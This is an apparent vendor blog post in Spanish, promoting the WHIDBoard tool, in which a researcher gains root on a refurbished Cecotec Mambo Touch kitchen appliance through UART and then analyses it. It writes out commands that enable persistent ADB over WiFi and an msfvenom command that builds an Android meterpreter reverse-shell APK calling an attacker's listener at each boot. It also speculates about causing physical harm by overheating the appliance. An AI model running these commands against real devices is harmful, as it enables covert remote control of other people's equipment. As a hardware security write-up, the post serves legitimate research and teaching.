Ir a contenido

Scroll Indicator

Libro de recetas para hackers: cómo explotar los electrodomésticos IoT con WHIDBOARD

Nota del editor: Para celebrar el lanzamiento del WHIDBoard Pro Set, contamos con una publicación exclusiva de nuestro invitado, la leyenda del hacking de hardware... Luca Bongiorni. Luca muestra el WHIDBoard Pro cortando, troceando y cocinando un dispositivo IoT Kitchen.
Si le interesa el hacking de hardware, eche un vistazo al WHIDBoard Pro Set y descubra cómo convertirse en un hacker de hardware certificado.

HUNGRY FOR HARDWARE HACKS

Recientemente he completado la I+D de un nuevo juguete llamado WHIDBOARD y, para probarlo, decidí echar un vistazo a un aparato de cocina IoT que compré reacondicionado en Amazon. ¡El resultado fue inesperadamente divertido!

Demostración de WHIDBOARD

El objetivo

El DUT (dispositivo bajo prueba) de esta entrada del blog es un aparato de cocina inteligente llamado Mambo Touch de Cecotec, una empresa española.

Este dispositivo de cocina todo en uno es un procesador de alimentos multifuncional con 37 funciones que tiene una pantalla táctil de 5 pulgadas y se puede controlar de forma remota a través de su aplicación móvil (como puede ver en las imágenes de abajo), y se conecta a través de una red WiFi.

Como el reacondicionado era más barato... y de todos modos nunca lo voy a usar para cocinar... ¡me decidí directamente por él!

Mambo Touch product listing
Ficha del producto Mambo Touch
Mambo Touch device
Dispositivo Mambo Touch

Reacondicionado ≠ Restablecimiento de fábrica

Por lo general, Amazon permite a los clientes devolver algunos artículos que no les gustan o que no cumplen con sus expectativas...

Amazon refurbished policy
Política de productos reacondicionados de Amazon

Pero surge una pregunta legítima... ¿dónde terminan después? ¿Cómo se renuevan? ¿Qué pasa con el restablecimiento de fábrica ANTES de la reventa?

Después de encenderlo, me conecté a mi red WiFi e intenté emparejarlo con la aplicación móvil... pero ocurrió algo curioso. El dispositivo ya estaba emparejado con otro propietario (probablemente el anterior)...

Me pregunto qué diría un DPO sobre esto...

Device already paired to previous owner
Dispositivo ya emparejado con el propietario anterior

Desmontaje del DUT

Tras una inspección inicial del exterior, es posible encontrar una primera pista... un puerto micro USB oculto.

Hidden USB micro port
Puerto micro USB oculto
USB port close-up
Primer plano del puerto USB

Sin embargo, no ocurre nada muy interesante una vez conectado a un ordenador... El siguiente paso fue abrir el dispositivo... y, entre todos los demás componentes (pantalla táctil, interruptores, sensores, motores, fuente de alimentación, etc.), me recibió la placa base.

Device mainboard view 1
Vista de la placa base del dispositivo 1
Device mainboard view 2
Vista de la placa base del dispositivo 2

Aquí podemos ver fácilmente los componentes principales:

  • A213Y Amlogic SoC
  • KLM8G1GETF-B041 es una memoria flash eMMC de 8 GB con una huella FBGA-153
  • RS256M16V0DB-107AT DDR SDRAM con huella FBGA-96

Y también algunos puntos de entrada interesantes para interfaces de depuración...

Debug interface entry points
Puntos de entrada de la interfaz de depuración

Pero el punto de entrada más interesante estaba en el otro lado... algunas almohadillas de prueba etiquetadas con la disposición habitual de pines de la interfaz de depuración UART... (es decir, GND, RX, TX).

UART test pads diagram
Diagrama de las almohadillas de prueba UART
UART test pads on PCB
Pads de prueba UART en PCB

El siguiente paso fue sencillo... soldar un par de cables en esas almohadillas, coger mi WHIDBOARD y comprobar con el analizador lógico y el enumerador de pines si realmente se trataba de una interfaz de depuración UART...

WHIDBOARD connected to test pads
WHIDBOARD conectada a las almohadillas de prueba

Primero, conecté todos los cables al bloque de terminales del analizador lógico de WHIDBOARD para obtener algunos datos... y esto es lo que obtuve en Pulseview:

Pulseview Logic Analyzer output
Salida del analizador lógico Pulseview

Obtención de root a través de UART

¡Genial! Confirmamos fácilmente que las tres almohadillas de prueba de la parte posterior de la PCB son realmente una consola UART que funciona. Podemos ver cómo el DUT escupe la secuencia de arranque desde el analizador lógico. A continuación, intentemos conectarnos directamente con WHIDBOARD y el enumerador de pines.

WHIDBOARD Pin Enumerator connection
Conexión del Pin Enumerator de WHIDBOARD

La función Pin Enumerator de WHIDBOARD se basa en el JTAGulator (lamentablemente descatalogado) creado por Joe Grand. Permite descubrir pines de interfaces de depuración como UART, JTAG y SWD. Pero en mi caso utilicé principalmente su función Passthrough para comunicarme con el objetivo conectado a su bloque de terminales (y, obviamente, confirmar la combinación correcta de pines UART).

Pin Enumerator interface
Interfaz del enumerador de pines

Una vez confirmado con el Pin Enumerator que efectivamente se encontraba ante un puerto de depuración UART... utilizó la función Passthrough y fue recibido por una encantadora consola de terminal con acceso root. ¡BOOM! :D :D :D

Root access via UART
Acceso root a través de UART

¿Qué sigue?

En este punto, vemos claramente que el dispositivo puede verse comprometido fácilmente. Pero quería seguir jugando y comprobar cómo funciona la conexión remota...

En primer lugar, habilité la conexión remota ADB a través de WiFi con los siguientes comandos:

setprop persist.service.adb.enable 1
setprop service.adb.tcp.port 5555
start adbd
ADB commands execution
Ejecución de comandos ADB

Y confirmé que todo funcionaba a la perfección:

ADB connection confirmed
Conexión ADB confirmada

Ahora ya tenemos una conexión remota (es decir, la misma LAN) persistente con el DUT. Dado que el demonio del servidor ADB persistirá incluso después del arranque.

Lo siguiente fue hacer un reconocimiento y buscar algo interesante... Primero enumeré las aplicaciones instaladas para comprobar dos cosas: qué versión de Android se está ejecutando y cuáles son las principales aplicaciones del proveedor (es decir, Cecotec).

Las dos aplicaciones más interesantes son:

  • package:/data/app/com.zavier.androidrk3326functiontest-1.apk=com.zavier.androidrk3326functiontest
  • package:/data/app/com.kitchenidea.cecotec.k2501-2.apk=com.kitchenidea.cecotec.k2501
Installed apps list
Lista de aplicaciones instaladas

Sin embargo, antes de seguir investigando, ejecuté rápidamente la aplicación habitual de ajustes de Android (con este comando am start -n com.android.settings/.Settings) para comprobar más información sobre la versión del sistema operativo... y, como era de esperar, el DUT ejecutaba una versión antigua de Android: 4.4.2.

Android 4.4.2 settings screen
Pantalla de configuración de Android 4.4.2

Bien... sigamos investigando... ¡Es hora de reconocer la red! Al mirar la salida de netstat, puedo ver algunas conexiones con direcciones IP de Internet:

Netstat output
Resultado de netstat

Nada muy sofisticado, pero una me llamó la atención... obviamente, como se trata de un backend que no es de su propiedad... se consideró fuera de alcance y seguí adelante...

Network connections
Conexiones de red

A continuación, empecé a buscar las herramientas habituales de los hackers que se pueden utilizar para exfiltrar o revertir el shell de los objetivos IoT... una para todo... Su majestad BUSYBOX :D

Y, de hecho, esta venía con todo lo necesario:

BusyBox available commands
Comandos disponibles de BusyBox

Solo con él, podía extraer, cargar y manipular datos, así como obtener un shell inverso con netcat. ¡Pero sigamos adelante! Como ya tenemos el shell ADB persistente... esta vez no necesitamos BusyBox. :P

En general, con ADB Explorer extraje todos los archivos interesantes que encontré. Sin embargo, nada muy interesante... Este dispositivo no tiene micrófono ni cámara... ni siquiera podemos espiar a la gente de forma remota... meh... :(

ADB Explorer file list
Lista de archivos de ADB Explorer

Análisis de APK

En este punto, centré mi atención en los APK del proveedor:

  • package:/data/app/com.zavier.androidrk3326functiontest-1.apk=com.zavier.androidrk3326functiontest
  • package:/data/app/com.kitchenidea.cecotec.k2501-2.apk=com.kitchenidea.cecotec.k2501

El com.zavier.androidrk3326functiontest-1.apk parece un conjunto de pruebas funcionales para comprobar si todos los sensores y controladores del motor funcionan correctamente. Tenga en cuenta que este electrodoméstico de cocina IoT tiene una báscula, un calentador, un motor para mezclar los alimentos y varios sensores integrados. Y, aparentemente, todos ellos están controlados por estas dos aplicaciones (también de forma remota desde el teléfono móvil del usuario...).

En cuanto a com.kitchenidea.cecotec.k2501-2.apk , rápidamente me di cuenta de que es una copia del otro update.apk que se encuentra en /sdcard/, por lo que no es necesario comprobar ambos:

APK comparison
Comparación de APK

Al examinar el segundo APK, no encontré demasiadas señales de alarma, pero sí confirmé que la aplicación tiene acceso completo a todos los sensores, el calentador, el motor, etc. En teoría, podríamos crear un malware que pudiera interferir con la víctima de forma remota enviando comandos arbitrarios a los puertos serie... :P

APK permissions and capabilities
Permisos y capacidades del APK

También comprobé dos veces si había otras URL/IP interesantes codificadas en esas dos aplicaciones... pero parece que son la basura habitual:

Hardcoded URLs in APK 1
URL codificadas en el APK 1
Hardcoded URLs in APK 2
URL codificadas en APK 2

Como se me hacía tarde y estaba molesto, finalmente ejecuté MobSF para obtener una visión general rápida del nivel de riesgo de esas dos aplicaciones...

TL;DR: Nada demasiado grave. Una aplicación mediocre para un producto mediocre. 8)

MobSF analysis results 1
Resultados del análisis de MobSF 1
MobSF analysis results 2
Resultados del análisis de MobSF 2

En general, está claro que existe la posibilidad de convertir este dispositivo en un arma con un APK personalizado que pueda ser controlado de forma remota por un atacante y manipular las funciones internas para causar daños físicos (por ejemplo, ¿anular las medidas de seguridad?, ¿sobrecalentar la olla?, etc.).

Bromas y shell inverso

Como último ejercicio, antes de terminar y devolver esta porquería a Amazon... quería comprobar si una shell inversa meterpreter funcionaría y si a través de ella podría ejecutar DOOM o gastarle alguna broma a mi esposa... Bueno... :D

Primero preparemos un APK meterpreter para enviarlo con ADB:

msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=31337 -f raw -o revshell.apk
Msfvenom command output
Salida del comando Msfvenom

A continuación, enviémoslo a través de ADB e instalémoslo:

ADB push and install
ADB push e instalación

Ahora ejecutémoslo:

Running the reverse shell APK
Ejecutar el APK de shell inverso

Mientras tanto, en la máquina virtual WHIDOS ya se había configurado con el listener MSF:

MSF listener setup
Configuración del listener MSF

Ahora, cada vez que se reinicie el dispositivo, se ejecutará automáticamente el shell inverso y se llamará al C2 del atacante:

Reverse shell callback
Devolución de llamada del shell inverso

En este punto, instalar y ejecutar DOOM fue cuestión de segundos... :D

DOOM running on device
DOOM ejecutándose en el dispositivo
DOOM gameplay screenshot
Captura de pantalla del juego DOOM

Conclusión

El mercado del IoT es conocido por estar lleno de dispositivos vulnerables. Por desgracia para el consumidor medio, la mayoría de las empresas no se toman la seguridad de los productos lo suficientemente en serio. La mayoría de las veces, un dispositivo IoT comprometido puede no tener un gran impacto en la vida de los consumidores, pero en algunos casos puede causar daños físicos. Como en este caso, en el que la aplicación controla de forma remota el calentador y el motor, y un posible atacante también podría controlarlos...

Además, está claro que comprar dispositivos IoT reacondicionados... a veces... puede NO ser una decisión acertada.

¿Y si hubiera dejado alguna carga maliciosa antes de devolver el dispositivo a Amazon? (Aclaración: no, no lo hice).

Amazon refurbished return policy
Política de devolución de productos reacondicionados de Amazon

¿QUIERE INICIARSE EN EL HACKING DE HARDWARE?

La herramienta que Luca utilizó para esta auditoría de hardware es la WHIDBoard Pro. La WHIDBoard es una herramienta todo en uno para el hacking de hardware, y es el resultado de docenas de prototipos e iteraciones a lo largo de los años. Está diseñada para proporcionar todas las herramientas, tanto de hardware como de software, en un kit bien documentado, fiable, profesional y listo para la acción.

Reverse shell callback
El set WHIDBoard Pro. Todo lo que necesita para el hacking de hardware.

¿QUIERE FORMASE CON LUCA?

El kit WHIDBoard Pro está fabricado por Lab401, lo que le garantiza calidad y asistencia técnica. Consulte la página del producto para obtener más información.

La formación en hacking de hardware ofensivo es una formación a su propio ritmo que incluye vídeos, un libro de ejercicios impreso y un fantástico kit de hacking de hardware. Y... ¡se lo enviamos a su domicilio en cualquier parte del mundo! Para más información: https://www.whid.ninja

WHID training kit
Kit de formación WHID
Artículo siguiente Seducción de sensores I2C: DigiLab + Flipper

Dejar un comentario

Los comentarios deben ser aprobados antes de aparecer

* Campos requeridos